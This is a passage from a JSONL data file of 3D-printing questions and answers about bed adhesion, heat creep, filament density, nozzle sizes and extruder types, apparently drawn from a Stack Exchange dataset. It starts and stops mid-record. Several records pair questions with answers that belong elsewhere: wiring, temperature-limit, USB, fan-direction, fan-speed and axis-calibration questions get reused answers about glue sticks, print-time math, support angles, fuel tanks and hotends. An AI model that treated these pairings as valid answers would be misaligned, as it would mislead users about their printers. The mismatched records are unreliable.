jam in the tube.  It will jam just above the nozzle on a Bowden tube extruder; thus the filament stops going down the tube.  The tube entrance is probably the largest location the tube can kink, although not very large.\nWhat are ways to avoid heat creep?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.689493"}
{"id": "hf_c61f861a6aaf", "question": "<p>I am currently trying to print a company logo on another part I have printed in a different colour. To try and maximise the strength of the part, I need to print the part on a different orientation to what I intend on printing the logo on. As a result I need to in a sense re-adhere the part to the bed so I can print the logo. I am using PLA filament on a spring steel sheet (the default sheet with a Prusa Mini).</p>\n<p>Any ideas would be appreciated before I accept defeat and just glue the parts together.</p>\n", "question_body": "", "answer": "Adherence is the 3D printer's worst enemy.\nI use painter's tape, but I heard that you can if you need to remove and re-stick it back, heat the part lightly with a lighter and re-stick it back to the bed. Never tried but I'm guessing you would need to cool the bed, heat the part, and stick it back then reheat the bed and continue to print.\nGlue sticks can maybe help or even hot glue. But I would be afraid in that case that the part wouldn't be level hence the glue would be to tick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.711861"}
{"id": "hf_5bea7793d3af", "question": "<p>I've recently switched to PETG , and I'm using Cura as slicer and Ender 3 as printer.</p>\n<p>I'm printing a model which Cura declares to be <strong>35 g</strong>, but if I weigh the printed model it weighs <strong>23 g</strong>.</p>\n<p>I'm printing with just 1 line of skirt, so its weight is negligible on total weight.\nI've replaced the stock plastic extruder with a double gears metal extruder (3Dman 11 Dual Gear Extruder ).</p>\n<p><a href=\"https://i.stack.imgur.com/22V5v.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/22V5v.jpg\" alt=\"enter image description here\" /></a></p>\n<p>I've also replaced the stock springs with metals ones.</p>\n<p>I'm not having a quality problem, just I want to understand if this difference is caused by a bad configuration that could be improved.</p>\n<p>Which are the corrections/checks that I need to do in my setup (both printer and Cura) for fixing this difference?</p>\n", "question_body": "", "answer": "The density of the filament can be specified in the material model of the filament in Cura (Preferences -> Configure Cura... -> Materials and click on the material/filament you are using to slice your model for PETG), look at the value behind\nDensity\n, the PETG filament I use is using 1.28 g/cm³ (\nPETG Economy Black -> Specification >\n).\nThis field is user editable, so you can change it to your needs. Cura calculates the weight based on the deposited volume.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.734917"}
{"id": "hf_44fd4f98f123", "question": "<p>Does anybody if the Anycube Mega X comes with a nozzle for 1.75 mm filaments or is it 2.85 mm?\nI saw online that it works with 1.75 mm filaments but the Cura settings given by the manufacturer had 2.85 mm.</p>\n<p>I should mention that using a 1.75 mm filament works BUT my designs have clear under-extrusion, which is very likely caused by having 2.85 mm in the settings. So at this moment, I am trying to gauge whether to change the settings to 1.75 mm or buying 2.85 mm filaments (this only works if the Mega X comes with the appropriate nozzle).</p>\n", "question_body": "", "answer": "Reading all 49 pages of the manual was fruitless. I'm astonished that there is no reference to the filament diameter used in this printer.\nFrom\n3dJake's web site\ncomes a confirmation that the printer uses 1.75 mm filament.\nIt's not a matter of changing a nozzle to use 2.85 mm filament, as the entire filament path is based, in this printer, on the 1.75 mm specification.\nTo find 3Djake's site, I used \"anycubic mega x filament diameter\" as the search terms. Many other links appeared, confirming the 1.75 mm filament size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.787196"}
{"id": "hf_0db4568984c3", "question": "<p>Every now and then I'll have a problem with layer shift. Solving this is a separate issue, but it occurred to me: most of the time when this happens I notice right away because of the noise. What if there were an easy to to pause the print, re-home the X/Y axis (not Z), and then resume. I'd only have one layer that was a bit off. Sometimes that's enough to ruin the print but sometimes I could clean up with a razor knife later and just live with the small scarring and weakness.</p>\n<p>Is there a way to do this during a print? I suspect it might require support within the printer (or print tool like OctoPrint), and might also depend on how the print is sliced in terms of knowing absolute vs relative coordinates at any given moment.</p>\n", "question_body": "", "answer": "Have you tried this? It should just work, at least if you're using software like Octoprint to control the printer over serial interface rather than print-from-SD-card on the printer itself. In such a setup you're free to submit whatever commands (in particular,\n```\nG28 X Y\n```\n) you like while the print is paused. You'll need it setup to save and restore position across pause/resume, or the next command executed might start from the wrong starting position; this would be no problem if it's a travel command, but if it's an extrusion move it would make a mess.\nIf you're using the printer's builtin pause/resume functionality, I'm not sure whether it will work. It mainly depends on whether it\nlets you\naccess the homing function while paused. If not this is more of a logic limitation than any fundamental incapability, and could be fixed in the firmware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.823842"}
{"id": "hf_467475a6abae", "question": "<p>Any hints or suggestions (filament type? suggested settings? model sources?) for 3D printing minis to use in Dungeons &amp; Dragons?</p>\n<p>I've done a couple where the support structures were difficult to break off without breaking off a hand or something.</p>\n<p>I have a Lulzbot Mini (1), single-extruder if that makes any difference.</p>\n", "question_body": "", "answer": "Buckle up, this is going to be rough:\nFDM printers are not the best choice for printing figurines in the 25 to 40 mm scale that is typical for wargaming and D&D games. Resolution-wise, that's the area of\nresin\nprinters.\nBut there are ways to get some partially decent prints made:\nyou might want a small nozzle. 0.2 is about the smallest you can do without specialty extruders, so there is our lower limit.\nYou need to make sure to have a minimum layer time set, especially as the crosssections of figures are often rather slim.\nOverhangs can be a pain\nYou might be better-served printing \"meeples\" than actual figurines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.858052"}
{"id": "hf_81ebcfff44ad", "question": "<p>All of my completed prints come out with rough edges. What are some methods for removing rough edges from 3D prints? Also, are there any ways to reduce rough edges on prints? For reference, I use a FlashForge Adventurer 3 and PLA filament.</p>\n", "question_body": "", "answer": "To remove unwanted residual material:\nYou can scrape with a knife\nUse sand paper\nuse files\nVery fine sandpaper or files can smooth out the rough surfaces left from filing or sanding.\nDremel tools tend to be aggressive.  They tend to melt the surface if too fast.  Buffing wheels are probably the most useful on a Dremel.  Dremel tools are good for cutting.\nA deburring tool can remove sharp edges such as parts of the brim that don't want to come loose.  However, it's not unusually to need to scrape off flat surfaces as well.\nIf you want to smooth out the surfaces left from layers, you can:\nCarefully use a heat gun or heat from other soldering tools; not spending too long in one spot.  The difficulty with using heat is most prints have fill rather than being solid; so, with only two or three outside layers, it's easy to get the surface to deform into the fill. Also the print material will tend to stick to solid surfaces hot enough to melt the material.\nUse acetone on ABS.  Don't breath the fumes or dissolve your print.\nPaint the surface as the comment from user77232", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.882253"}
{"id": "hf_927a6ee082a9", "question": "<p>When I first got my 3D printer (a FlashForge Adventurer 3), it came with a sample pack of filament. With this filament, I was able to use skirts for my first layer. When the sample filament ran out, I switched to Hatchbox PLA filament. For some reason, I cannot use skirts with the Hatchbox filament. Now, whenever I try to print something with a skirt, the print moves around, ruining it. The only first-layer that works now are rafts, which I do not like, as they use up more filament and are more of a pain to remove. Is anyone else having this problem? If so, what are some workarounds to this issue?<img src=\"https://i.stack.imgur.com/913g2.jpg\" alt=\"Here are the failed prints. I terminated them mid-way, as they started to shift on the build plate.\" /></p>\n<blockquote>\n<p>Here are the failed prints. I terminated them mid-way, as they started\nto shift on the build plate.</p>\n</blockquote>\n", "question_body": "", "answer": "It is unlikely this is a filament material issue since many of us have used Hatchbox PLA without this issue.  This is a first layer adhesion issue.\nYour bed may not be clean, or the bed may have had an adhesion layer you cleaned off.\nYour nozzle may be too high on the first layer.\nYour bed my not be level.\nGlue sticks can help adhesion.  Glue sticks usually don't post the composition on the packaging, but Elmer's glue sticks work.  Elmer's washable makes it easy to remove the old layer before adding a new one.  There are also glue sticks specified for 3D-printing.\nHere's a discussion on glue sticks:\nAre all glue sticks PVA-based? How to find out?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.901634"}
{"id": "hf_9a5de34b1631", "question": "<p>I’ve got this proximity sensor which is a 5 V, it doesn’t say it can be used over 5 V. Can I use a buck converter or is it possible to wire it up direct to a 5 V source on the Ender 3 V2?</p>\n<p>What I don’t understand is where to wire it direct to 5 V on the printer or if I use a buck converter then where does the 3rd wire go to on the printer?\nIf it goes to the signal wire on the Z endstop then which one is the signal wire?</p>\n<p><a href=\"https://i.stack.imgur.com/0yHTW.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0yHTW.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "It is unlikely this is a filament material issue since many of us have used Hatchbox PLA without this issue.  This is a first layer adhesion issue.\nYour bed may not be clean, or the bed may have had an adhesion layer you cleaned off.\nYour nozzle may be too high on the first layer.\nYour bed my not be level.\nGlue sticks can help adhesion.  Glue sticks usually don't post the composition on the packaging, but Elmer's glue sticks work.  Elmer's washable makes it easy to remove the old layer before adding a new one.  There are also glue sticks specified for 3D-printing.\nHere's a discussion on glue sticks:\nAre all glue sticks PVA-based? How to find out?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.932333"}
{"id": "hf_b141a5ff8887", "question": "<p>I broke 2 keys (i.e. left ctrl, enter) on my Asus UX31A laptop and it seems that this model is too old to find replacement keys.</p>\n<p>Is there any way I can find a 3D model of the needed keys to have them 3D printed?</p>\n<p>I do not have a printer nor I have any experience in this field.\nWhat I need is either someone that has models for these or that can point me where I can find such models.</p>\n", "question_body": "", "answer": "This is more off-topic as an answer, but serves as a possible solution.\nReplacementlaptopkeys.com is a resource that appears to have keycaps for the model you've noted.\nhttps://www.replacementlaptopkeys.com/asus-zenbook-ux31a-db71-laptop-keys-replacement-dark-brown-black/\nAt seven dollars a key, it's going to be less expensive than 3D printing to accomplish your objective.\nIf you owned a 3D printer, it would not be less expensive to purchase, but the work involved would increase your cost to have such keys commissioned. As a 3D printed object, the strength is going to be less than a keycap purchased from the linked site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.032656"}
{"id": "hf_79745aa0d5b4", "question": "<p>I have a 3D printer, which wasn't used for a longer time. There is a nozzle, but don't know what diameter is it. I used several widths - from 0.2 to 0.8, switched them depending on my needs, but don't remember which one was used lately.\nThe nozzle is a little bit worn down, so the diameter on the side is not visible.</p>\n<p>How to get the nozzle diameter, without taking it off the printer?</p>\n<p>This is more of a theoretical question, because I can simply swap the nozzle, but still - eager to know.</p>\n", "question_body": "", "answer": "The best method is to have a scale on your microscope that looks like a ruler drawn in the optical path.  However I usually visually compare an unknown nozzle with known nozzles under a microscope.  If you don't have a microscope, you can get USB otoscope cameras (15mm focal length for looking in ears) for under $20.\nYou can get a fairly good idea of the size by telling the printer to extrude in air then measure the extrusion diameter with calipers.  Of course, it's better if you can compare with a known nozzle.  If you push the filament through by hand, the extrusion will be too thick.  With the stepper motor extruding, I measure the extrusion diameters between 0.3 and 0.5 mm on a 0.4 mm nozzle.  Low cost calipers are less than $20.  The main different with the low cost calipers is the slides are not smooth, reducing the accuracy in the 0.01 mm place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.053304"}
{"id": "hf_e9d1646c1157", "question": "<p>I've observed printing PETG that the primary if not the only reason for using a high bed temperature seems to be preventing the bed from acting as a huge heat sink and rapidly cooling the initial layers such that they don't bond well to each other. In particulat, the heat is not needed for adhesion-to-the-bed purposes. This got me thinking whether there's a way we could get rid of the requirement, as a way to save time and all the energy spent heating the bed and cooling the room it's eventually dumped into.</p>\n<p>With that in mind, are there viable bed materials that are good thermal insulators? Just putting down a layer of any insulating material between the underlying bed and buildtak or whatever surface you want might work, but I would think these kinds of print surfaces are designed for moderate to high thermal conductivity themselves, and wouldn't be as bad a heat sink as the underlying metal, but might still sap a noticable amount of heat out of the part right away.</p>\n", "question_body": "", "answer": "I’m pretty sure it can be brought separately but usually comes with a lot of heat-beds; It is a type of foam that has adhesive on one side and aluminum foil on the other.\nHere\nis an example of what I mean:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.072683"}
{"id": "hf_0e4c69736511", "question": "<p>What fan speed should I use with PLA? Do I need to manually set the fan speed in ‘Control’?</p>\n<p>Also, on the filament cartridge Bed Temp is listed: <em>&quot;No heat/60-80 °C&quot;</em>. Does this mean heating the bed is optional?</p>\n", "question_body": "", "answer": "Most commercial blow-molded fuel tanks for model airplane fuel (methanol or ethanol, nitromethane or nitroethane, and some combination of castor, mineral, or synthetic lubricating oil) are made from HDPE.  This material isn't commonly seen as filament, in my limited experience, but it ought to be possible to arrive at settings that will give a liquid tight tank without further sealing if you can find some.  As you note, limonene might be used to smooth/seal HDPE prints, but likely won't be necessary if your settings are right.\nYou might want to test PETG filament for its resistance to your fuel mix(es) -- this material\nis\navailable as filament, prints with settings little different from generic PLA (in my experience, higher nozzle and bed temperature, and a little more bed clearance for the first layer), with good layer adhesion and, with a good print, is liquid-tight as printed.  It's not particularly flexible (as is the case with HDPE), but since you can customize the shape of your fuel tank, it may work for you -- or it may be more flexible in vase mode, as PLA is.\nSealing PETG may be as simple as baking it (similar to \"heat treating\" PLA to increase print strength, albeit again at a higher temperature) -- this partial remelting will ensure that layers are adhered throughout the print, which (presuming you have avoided under-extruded areas) should be all that's needed to make a printed tank liquid tight.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.143777"}
{"id": "hf_4ff953b1fcbe", "question": "<p>I printed a lot of models in last month. I spent 2 kg filament in total. I want to know how many hours have been passed while printing. As far as I read, 1 kg PLA (1.75 mm) is about 110 meters long. My default print speed is 70 mm/s. The nozzle diameter is 0.4 mm. The nozzle multiplier in the simplify3d is 0.9 .</p>\n<p>In a very basic math,\n220÷(0.7×0.04÷0.0175×0.9)=~ 153 hours.</p>\n<p>Is this correct?</p>\n", "question_body": "", "answer": "Your math looks correct, and is also a good approximation for what I've seen in the first few weeks with my own Ender 3.\nAnother way to calculate (to check yourself) is to calculate the volume extruded (nozzle area times extrusion percentage times print speed -- be sure you convert everything to the same units!) in a given second, multiply by the density of your filament (common PLA runs about 1.2 g/cm^3), and get a rough figure for how long it takes to print a kilogram of filament.  Your actual print time will always be higher than this approximation, because there are moves during which the extruder isn't running, infill is often set to lower extrusion level, and of course there's setup and cleanup time to account for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.178730"}
{"id": "hf_a901da023515", "question": "<p>I want to get my Ender 5 plus to print at 300 °C. As such, I've edited the firmware and increased the <code>HEATER_0_MAXTEMP</code> to 315 °C.</p>\n<p>In my slicer, I can slice and print at 300 °C, however, I cannot manually adjust the temperature on the LCD screen past the stock setting of 260 °C.</p>\n<p>Any help in getting the manual adjustment fixed would be greatly appreciated.</p>\n", "question_body": "", "answer": "Your math looks correct, and is also a good approximation for what I've seen in the first few weeks with my own Ender 3.\nAnother way to calculate (to check yourself) is to calculate the volume extruded (nozzle area times extrusion percentage times print speed -- be sure you convert everything to the same units!) in a given second, multiply by the density of your filament (common PLA runs about 1.2 g/cm^3), and get a rough figure for how long it takes to print a kilogram of filament.  Your actual print time will always be higher than this approximation, because there are moves during which the extruder isn't running, infill is often set to lower extrusion level, and of course there's setup and cleanup time to account for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.221150"}
{"id": "hf_773d5e756116", "question": "<p>The problem with my Anet E12 should be on USB connection itself.</p>\n<ol>\n<li>If powered down, the board still gets power from USB</li>\n<li>If board is resett, USB will still connect</li>\n<li>Still works on SD; seem like most part not damage.\nWhat cause the problem? Where to check first? How to fix it?</li>\n</ol>\n<p>Note: This printer worked with no problem before.</p>\n", "question_body": "", "answer": "Your math looks correct, and is also a good approximation for what I've seen in the first few weeks with my own Ender 3.\nAnother way to calculate (to check yourself) is to calculate the volume extruded (nozzle area times extrusion percentage times print speed -- be sure you convert everything to the same units!) in a given second, multiply by the density of your filament (common PLA runs about 1.2 g/cm^3), and get a rough figure for how long it takes to print a kilogram of filament.  Your actual print time will always be higher than this approximation, because there are moves during which the extruder isn't running, infill is often set to lower extrusion level, and of course there's setup and cleanup time to account for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.253521"}
{"id": "hf_d34bea1ec4db", "question": "<p>All the blower fans for part cooling I've seen rotate counter-clockwise when viewed from the intake side. I'm looking to replace mine on an Ender 3 with something stronger, and one of the worst parts of the stock design is that it's offset by about 20 mm versus the nozzle position, requiring awkward duct paths that reduce the flow to get uniform coverage around the newly extruded material. A fan that rotates in the opposite direction, with air exiting on the right-hand size when viewed from the intake side, would be exactly right. Are there such models available, and if so, what is the right terminology to search for them by? Or is there a simple way to modify a fan to reverse its direction?</p>\n", "question_body": "", "answer": "I see that you have a minimum support angle of 60 degrees -- that may mean Cura Slicer isn't generating supports for that chin.  Try changing this minimum to a lower figure -- 51 degrees or lower.  From what I've read, most filaments and settings will allow 60 degrees with PLA, but this is the easy first thing to try to get that chin supported.\nOn looking at the photo again, I also wonder if what looks like a bad overhang print is actually supports that didn't separate as they should -- perhaps you only need to adjust your Z skip for supports to get them to come off the actual part better.\nFollowing up, I saw a likely cause for this on one of my own prints yesterday -- coincidentally on the chin of a sculpture part.  What I observed is that supports for this region, which trailed up the body (as would those for your dragon's chin), likely due to their slenderness, repeatedly got knocked over.  The support structure \"healed\" over several layers after each such incident, but in a very fragile condition that would again get knocked off by a nozzle brush.  The solution to this is either to enable Z-hop on retraction (so travel doesn't brush the nozzle across supports printed in the same layer), or to reorient the part so the problem support is shorter and doesn't run right alongside the actual body wall.  Z-hop has less effect on other areas of the print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.333533"}
{"id": "hf_12d98e0e0769", "question": "<p>I have an Ender 3, currently in stock Bowden extruder configuration.</p>\n<p>I want to be able to print nylon and TPU, both of which require temperature too high for the tolerance of the PTFE Bowden tube (as well as the issues with the flexible filament in the tube).</p>\n<p>Therefore, I've considered converting my printer to direct drive.  However, the conversions I've seen, both DIY/print the parts type and commercial, seem to include a short length of the same PTFE tube between the extruder (now mounted on the hot end carriage) and the actual hot end.  This same material ought to have the same temperature limit (about 250 C) as it would have in a Bowden configuration -- and for nylon, at the least, this is a problem, since the PTFE would start to soften from contact with the heat break.</p>\n<p>Am I missing something in these conversions, or is the PTFE's glass transition not the limiting factor in printing hotter with a direct drive conversion?</p>\n", "question_body": "", "answer": "Direct Drive v.s. Bowden has no relation to the maximum print temperature. What determines the maximum print temperature is the design of the hotend itself. There are \"all-metal\" designs, where the PTFE tube (Bowden or not) stops in the cold zone and the heatbreak and all other components that get hot are fully made of metal. Other hotend designs have the PTFE tube run all the way down into the hot zone and this limits the maximum printing temperature. It has nothing to do with whether the hotend is Bowden or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.356670"}
{"id": "hf_3a4f15e3ec9e", "question": "<p>I just assembled Ender 3 and noticed that the X-axis movement doesn't correspond to the commands. When I make it move 1 mm with the encoder it moves 16 mm. Everything is in the &quot;out of the box&quot; configuration.</p>\n<p>The current steps/mm for the X-axis read (from the display) 80 steps/mm.</p>\n<p>Am I supposed to manually fix this with steps per mm setting or could it be another problem. Other axes seem to work fine. I also double checked and everything should be built correctly.</p>\n", "question_body": "", "answer": "Direct Drive v.s. Bowden has no relation to the maximum print temperature. What determines the maximum print temperature is the design of the hotend itself. There are \"all-metal\" designs, where the PTFE tube (Bowden or not) stops in the cold zone and the heatbreak and all other components that get hot are fully made of metal. Other hotend designs have the PTFE tube run all the way down into the hot zone and this limits the maximum printing temperature. It has nothing to do with whether the hotend is Bowden or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.383826"}
{"id": "hf_4896b2123c15", "question": "<p>My Tevo Flash works well. Right now, I'm trying to print a thin, disc-like part on supports. The 3 perimeters at the edge of the disc are OK. The dense fill zigzag pattern makes many U-turns near the perimeter. It all looks OK in Simplify3D. But in the printed part, in several spots, the zigzag pattern doesn't reach the perimeters, leaving a ~1 mm gap.</p>\n<p>My guess: in those spots, the filament has nothing to grab onto underneath, so the U-turn region is dragged back by the nozzle a bit (away from the perimeters) and/or it droops. I'm using the smallest support res in Simplify 3D: 1 mm. Any options I can try?</p>\n<p><a href=\"https://i.stack.imgur.com/nxpz1.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nxpz1.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "The zig-zag pattern are known for this kind of fluke...\nI will use Cura to demonstrate, but it's gonna happen on the majority of slicers.\nSee this example:\nBecause nothing is really a circle on a cartesian plane and there's resolution limitations on the real world, the slicer has to account for these and, assuming you are using zig-zag to save time, they are doing what is expected. The Zig-zag pattern is a continuous, fast way to fill the top/bottom layers.\nNow, see this lines pattern top layer:\nIt has much smaller air gaps. Every time the nozzle finishes a line, it has the chance to reposition itself to make a much smaller gap, just because isn't continuous.\nSo yeah, the air-gaps are a \"feature\" for zig-zag patterns, but you can mitigate this effect reducing the line width on top/botton layers.\nIt seems that increasing \"Skin Overlap Percentage\" on cura mitigates this effect too, but i really haven't seen the effects of this setting on a real life object", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.418289"}
{"id": "hf_4d735a323b98", "question": "<p>Having started with an Ender 3, it just seemed natural to me that the heatbreak should not be load-bearing; Creality's stock hotend has 2 bolts holding the heat block to the heat sink, which of course waste some heating power and increase the cooling needed to avoid heat creep, but serve the important purpose of keeping the nozzle position rigid relative to the carriage and making it so you don't bend or snap the heatbreak when changing nozzles.</p>\n<p>Looking at hotends (especially all-metal ones) for a possible future printer build, I'm surprised to see that many (most?) don't have this property, and have the heatbreak playing a load-bearing role. This seems really undesirable. Only the Mosquito <em>makes a point of</em> doing this right, and supposedly has a patent on this or related design decisions. Is that really the case? Are there basic all-metal hotends that are designed to avoid making the heatbreak load-bearing that don't cost $150?</p>\n", "question_body": "", "answer": "The drop-in replacement all metal hotends for the Ender 3 that I've looked at seem to have the two screws -- though I've read/heard opinions that these are intended to be removed after assembly, these are common Mk. 8 type hot ends, but with 2 mm bore through the entire heat break instead of 4 mm.  That seems to be the only modification (other than not anodizing the aluminum heat sink).\nWhile the brand name units of this type run approximately 65 USD at retail, they're available from Chinese vendors for under 10 USD plus a few dollars shipping, if you don't mind waiting a few weeks instead of a couple days to receive your part -- and if they aren't from the same production but sold without extensive vendor support, they're very close physical copies, according to review videos I've seen.\nIt's also possible to replace just the heat break for similar cost, either in stainless or titanium, with a 2 mm bore unit; this would obviously preserve whatever additional mounting hardware exists on/between your original heat block and heat sink.\nBTW, if they aren't already, replacing the screws with stainless will significantly reduce heat loss through the screws -- stainless is a much poorer conductor of heat than common steels used with plated screws.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.562236"}
{"id": "hf_471c0cd0f847", "question": "<p>I am pretty sure that sanding makes a lot of microplastics, so it would be nice to collect the dust, and melt it to got a blob of plastic again instead of millions of tiny particles. What is the best way for collecting it, do you use any dust extractor, or are there different techniques like sanding wet surfaces and filtering it from water?</p>\n", "question_body": "", "answer": "As an environmental thing, micro plastics are an urgent problem for ocean life, it’s getting into the entire food chain. With that in mind dumping it down the drain would be the worst, city filtration systems can’t get the tiny bits of plastic before it drains into the ocean. Sanding outside is kind of bad. I sand stuff over a lined waste basket outside, which maybe catches 75% of the dust. Inside (or outside) with a vacuum running would be good, I think best would be a vacuum with disposable bags. Yes it is still micro plastics, but it ends up at the dump, where the soil is already poisoned, and hopefully nowhere near the ocean/waterways, and likely will stay there while it breaks down. PLA takes ~80 years, but ABS takes 1000 years.\nThe idea of collecting the dust and fusing it sounds like it would be too much hassle to be feasible long term, it’s good, sustainable habits over years that add up.\nAs a side note, card scraping is a nice way to smooth 3D prints, that doesn’t make fine dust.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.585613"}
{"id": "hf_889b9eca29ef", "question": "<p>I didn't have any printer-related problem for the past 6 months, but now all of a sudden my Prusa MK3S stopped extruding during printing.</p>\n<p>This is very strange as I can easily load\\unload filament and control the step motor via Settings\\Move axis\\Extruder. When I did so, the filament got extruded normally.</p>\n<p>However, when I try to print something or do First Layer Calibration, nothing comes out of the nozzle. I tried changing the Live Z (maybe nozzle too low) and it didn't help. I once managed to extrude <em>something</em> by increasing the temperature and the flow (in the printer's menu) to a ridiculous value of 999. Obviously, this isn't the best way to solve the problem.</p>\n<p>Is there an easy way to fix this? I only had this problem yesterday and with some midrange-priced PETG</p>\n<p>Edit: I tried different filaments, default slicer profiles, reinstalling slicer (prusa slicer) and drivers. None of these methods really helped.</p>\n", "question_body": "", "answer": "It doesn't seem to be heat creep. See\nWhat are ways to avoid heat creep?\nHave you measured the actually temperature of the heater block?  You may have a failing sensor (thermistor) or sensor circuitry.  Optically is the best way to measure.  The least expensive way is with multimeters that come with a temperature sensor, such as a thermocouple (lowest cost about $20 U.S.).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:16.621340"}
{"id": "hf_b3859ce7bc5f", "question": "<p>A Bowden tube extruder (like the stock one on an Ender 3) is known to have issues with printing the most flexible TPU, and with filaments that (either due to composition or condition) don't take well to too much retraction -- though the latter can be ameliorated somewhat with slicer settings.  Direct drive extruders, on the other hand, by reducing the extruder to hot end distance to the practical minimum, greatly reduce the amount of retraction needed as well as the effect of filament compression and stretching.</p>\n<p>One potential down side I'm aware of is that putting the extruder stepper and drive on the X carriage adds mass that the X drive motor has to both accelerate and decelerate; this could in theory have an effect on print quality, increasing ringing and overrun on the X axis (though this isn't generally a problem with the steppers used on the Ender 3 and similar printers).</p>\n<p>What other reasons might there be to prefer a Bowden tube over direct drive?</p>\n", "question_body": "", "answer": "Other than higher carriage mass as you already noted, the only other reason to not go with Direct Drive over Bowden is the higher level of maintenance required. In most cases Direct Drive will provide advantages such as increasing the maximum flow speed, enabling the use of Linear/Pressure Advance, shortening Retraction moves, and 